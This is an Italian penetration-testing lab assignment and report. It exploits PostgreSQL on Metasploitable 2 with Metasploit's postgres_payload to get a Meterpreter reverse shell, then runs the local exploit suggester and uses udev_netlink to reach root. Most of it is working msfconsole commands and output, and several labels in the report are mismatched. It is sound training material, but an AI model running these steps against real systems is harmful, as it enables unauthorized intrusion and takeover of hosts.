Task 18/12/24: Exploit postgres con Metasploit

Traccia

Argomento:

Usa il modulo **exploit/linux/postgres/postgres_payload** per sfruttare una vulnerabilità nel servizio PostgreSQL di Metasploitable 2. Esegui l'exploit per ottenere una sessione **Meterpreter** sul sistema target.

Obiettivo dell'Esercizio:

Escalation di privilegi e backdoor:

- Una volta ottenuta la sessione **Meterpreter**, il tuo compito è eseguire un'escalation di privilegi per passare da un utente limitato a root utilizzando solo i mezzi forniti da msfconsole.
- Esegui il comando **getuid** per verificare l'identità dell'utente corrente.

Bonus:

- Usa il modulo post di msfconsole per identificare potenziali vulnerabilità locali che possono essere sfruttate per l'escalation di privilegi.
- Esegui l'exploit proposti e verifica ogni vulnerabilità trovata dal modulo sopracitato.
- Per ogni vulnerabilità test l'escalation di privilegi eseguendo nuovamente getuid o tentando di eseguire un comando che richiede privilegi di root.
- sempre usando msfconsole installa una backdoor e dimostra che puoi accedere ad essa in un momento successivo.

Istruzioni:

No specifiche!

Task 18/12/24: Exploit postgres con Metasploit

Report

Introduzione:

L'obiettivo del test è sfruttare una vulnerabilità nel servizio **PostgreSQL** presente su un sistema target (Metasploitable 2) utilizzando **Metasploit**. Una volta ottenuta una sessione **Meterpreter**, viene eseguita un'analisi delle vulnerabilità locali per **l'escalation dei privilegi**, al fine di ottenere accesso root e mantenere il controllo del sistema.

Avvio di Metasploit:

Ho avviato **Metasploit**.

Comandi utilizzati: msfconsole

Risultato: Il servizio risulta avviato.

Ricerca e setup del modulo di exploit:

Ho selezionato e configurato il modulo relativo a **Telnet**.

Comandi utilizzati: search postgres_payload , use 0 , options , set RHOSTS e set LHOST

Risultato: Il modulo è stato scelto e configurato correttamente con l'IP delle macchine.

```
msf6 > search postgres_payload

Matching Modules
================

   #  Name                                          Disclosure Date  Rank       Check  Description
   -  ----                                          ---------------  ----       -----  -----------
   0  exploit/linux/postgres/postgres_payload       2007-06-05       excellent  Yes    PostgreSQL for Linux Payload Execution
   1    \_ target: Linux x86                        .                .          .      .
   2    \_ target: Linux x86_64                     .                .          .      .
   3  exploit/windows/postgres/postgres_payload     2009-04-10       excellent  Yes    PostgreSQL for Microsoft Windows Payload Execution
   4    \_ target: Windows x86                      .                .          .      .
   5    \_ target: Windows x64                      .                .          .      .


Interact with a module by name or index. For example info 5, use 5 or use exploit/windows/postgres/postgres_payload
After interacting with a module you can manually set a TARGET with set TARGET 'Windows x64'

msf6 > use 0
[*] Using configured payload linux/x86/meterpreter/reverse_tcp
[*] New in Metasploit 6.4 - This module can target a SESSION or an RHOST
```

```
msf6 exploit(linux/postgres/postgres_payload) > set RHOSTS 192.168.50.101
RHOSTS => 192.168.50.101
msf6 exploit(linux/postgres/postgres_payload) > set LHOST 192.168.50.100
LHOST => 192.168.50.100
msf6 exploit(linux/postgres/postgres_payload) > options

Module options (exploit/linux/postgres/postgres_payload):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   VERBOSE  false            no        Enable verbose output


   Used when connecting via an existing SESSION:

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   SESSION                   no        The session to run this module on


   Used when making a new connection via RHOSTS:

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   DATABASE  postgres         no        The database to authenticate against
   PASSWORD  postgres         no        The password for the specified username. Leave blank for a random password.
   RHOSTS    192.168.50.101   no        The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
   RPORT     5432             no        The target port
   USERNAME  postgres         no        The username to authenticate as


Payload options (linux/x86/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.50.100   yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Linux x86
```

Esecuzione dell'exploit:

L'exploit è stato eseguito con successo ottenendo l'accesso alla macchina.

Comandi utilizzati: exploit

Risultato: sono state ottenute le credenziali in chiaro della macchina Metasploitable.

```
msf6 exploit(linux/postgres/postgres_payload) > exploit

[*] Started reverse TCP handler on 192.168.50.100:4444
[*] 192.168.50.101:5432 - PostgreSQL 8.3.1 on i486-pc-linux-gnu, compiled by GCC cc (GCC) 4.2.3 (Ubuntu 4.2.3-2ubuntu4)
[*] Uploaded as /tmp/mMkjUQkD.so, should be cleaned up automatically
[*] Sending stage (1017704 bytes) to 192.168.50.101
[*] Meterpreter session 1 opened (192.168.50.100:4444 → 192.168.50.101:37155) at 2024-12-18 08:18:11 -0500

meterpreter > getuid
Server username: postgres
```

Ricerca delle vulnerabilità locali:

Utilizzando il modulo **Local Exploit Suggester**, sono state identificate potenziali vulnerabilità.

Comandi utilizzati: search type:post platform:linux rec , use 14 , options , set SESSION e exploit

Risultato: Le vulnerabilità sono state trovate e testate.

```
msf6 > search type:post platform:linux rec

Matching Modules
================

   #   Name                                          Disclosure Date  Rank    Check  Description
   -   ----                                          ---------------  ----    -----  -----------
   0   post/linux/busybox/smb_share_root             .                normal  No     BusyBox SMB Sharing
   1   post/multi/escalate/cups_root_file_read       2012-11-20       normal  No     CUPS 1.6.1 Root File Read
   2   post/linux/gather/ecryptfs_creds              .                normal  No     Gather eCryptfs Metadata
   3   post/multi/recon/multiport_egress_traffic     .                normal  No     Generate TCP/UDP Outbound Traffic On Multiple Ports
   4   post/linux/gather/gnome_commander_creds       .                normal  No     Linux Gather Gnome-Commander Creds
   5   post/linux/gather/tor_hiddenservices          .                normal  No     Linux Gather TOR Hidden Services
   6   post/multi/gather/dns_srv_lookup              .                normal  No     Multi Gather DNS Service Record Lookup Scan
   7   post/multi/gather/docker_creds                .                normal  No     Multi Gather Docker Credentials Collection
   8   post/multi/gather/firefox_creds               .                normal  No     Multi Gather Firefox Signon Credential Collection
   9   post/multi/gather/gpg_creds                   .                normal  No     Multi Gather GnuPG Credentials Collection
   10  post/multi/gather/ssh_creds                   .                normal  No     Multi Gather OpenSSH PKI Credentials Collection
   11  post/multi/manage/zip                         .                normal  No     Multi Manage File Compressor
   12  post/multi/manage/record_mic                  .                normal  No     Multi Manage Record Microphone
   13  post/multi/manage/play_youtube                .                normal  No     Multi Manage YouTube Broadcast
   14  post/multi/recon/local_exploit_suggester      .                normal  No     Multi Recon Local Exploit Suggester
   15  post/linux/manage/dns_spoofing                .                normal  No     Native DNS Spoofing module
   16  post/multi/recon/reverse_lookup               .                normal  No     Reverse Lookup IP Addresses
   17  post/multi/recon/sudo_commands                .                normal  No     Sudo Commands


Interact with a module by name or index. For example info 17, use 17 or use post/multi/recon/sudo_commands

msf6 > use 14
msf6 post(multi/recon/local_exploit_suggester) >
```

```
msf6 post(multi/recon/local_exploit_suggester) > set SESSION 1
SESSION ⇒ 1
msf6 post(multi/recon/local_exploit_suggester) > options

Module options (post/multi/recon/local_exploit_suggester):

   Name            Current Setting  Required  Description
   ----            ---------------  --------  -----------
   SESSION         1                yes       The session to run this module on
   SHOWDESCRIPTION false            yes       Displays a detailed description for the available exploits


View the full module info with the info, or info -d command.
```

```
msf6 post(multi/recon/local_exploit_suggester) > exploit

[*] 192.168.50.101 - Collecting local exploits for x86/linux ...
[*] 192.168.50.101 - 198 exploit checks are being tried ...
[+] 192.168.50.101 - exploit/linux/local/glibc_ld_audit_dso_load_priv_esc: The target appears to be vulnerable.
[+] 192.168.50.101 - exploit/linux/local/glibc_origin_expansion_priv_esc: The target appears to be vulnerable.
[+] 192.168.50.101 - exploit/linux/local/netfilter_priv_esc_ipv4: The target appears to be vulnerable.
[+] 192.168.50.101 - exploit/linux/local/ptrace_sudo_token_priv_esc: The service is running, but could not be validated.
[+] 192.168.50.101 - exploit/linux/local/su_login: The target appears to be vulnerable.
[+] 192.168.50.101 - exploit/unix/local/setuid_nmap: The target is vulnerable. /usr/bin/nmap is setuid

[*] 192.168.50.101 - Valid modules for session 1:
============================

 #  Name                                                Potentially Vulnerable?  Check Result
 -  ----                                                -----------------------  ------------
 1  exploit/linux/local/glibc_ld_audit_dso_load_priv_esc  Yes                      The target appears to be vulnerable.
 2  exploit/linux/local/glibc_origin_expansion_priv_esc   Yes                      The target appears to be vulnerable.
 3  exploit/linux/local/netfilter_priv_esc_ipv4           Yes                      The target appears to be vulnerable.
 4  exploit/linux/local/ptrace_sudo_token_priv_esc        Yes                      The service is running, but could not be validated.
 5  exploit/linux/local/su_login                          Yes                      The target appears to be vulnerable.
 6  exploit/unix/local/setuid_nmap                        Yes                      The target is vulnerable. /usr/bin/nmap is setuid
```

Accesso ROOT:

Tra i moduli suggeriti, è stato eseguito con successo **udev_netlink** per ottenere i privilegi di root.

Comandi utilizzati: use post/multi/recon/local_exploit_suggester , set SESSION 1 e exploit

Risultato: Una volta eseguito l'exploit, è stato verificato l'accesso root tramite i seguenti comandi:

- meterpreter > shell
- whoami

```
msf6 > use linux/local/udev_netlink
[*] No payload configured, defaulting to linux/x86/meterpreter/reverse_tcp
msf6 exploit(linux/local/udev_netlink) > options

Module options (exploit/linux/local/udev_netlink):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   NetlinkPID                  no        Usually udevd pid-1.  Meterpreter sessions will autodetect
   SESSION                     yes       The session to run this module on


Payload options (linux/x86/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.50.100   yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Linux x86



View the full module info with the info, or info -d command.

msf6 exploit(linux/local/udev_netlink) > set SESSION 1
SESSION => 1
msf6 exploit(linux/local/udev_netlink) > exploit

[*] Started reverse TCP handler on 192.168.50.100:4444
[*] Attempting to autodetect netlink pid ...
[*] Meterpreter session, using get_processes to find netlink pid
[*] udev pid: 2364
[+] Found netlink pid: 2363
[*] Writing payload executable (207 bytes) to /tmp/zelXUkkegV
[*] Writing exploit executable (1879 bytes) to /tmp/IAPUkIXzvd
[*] chmod'ing and running it ...
[*] Sending stage (1017704 bytes) to 192.168.50.101
[*] Meterpreter session 2 opened (192.168.50.100:4444 -> 192.168.50.101:60886) at 2024-12-18 10:51:24 -0500

meterpreter > whoami
[-] Unknown command: whoami. Run the help command for more details.
meterpreter > shell
Process 4905 created.
Channel 1 created.
whoami
root
```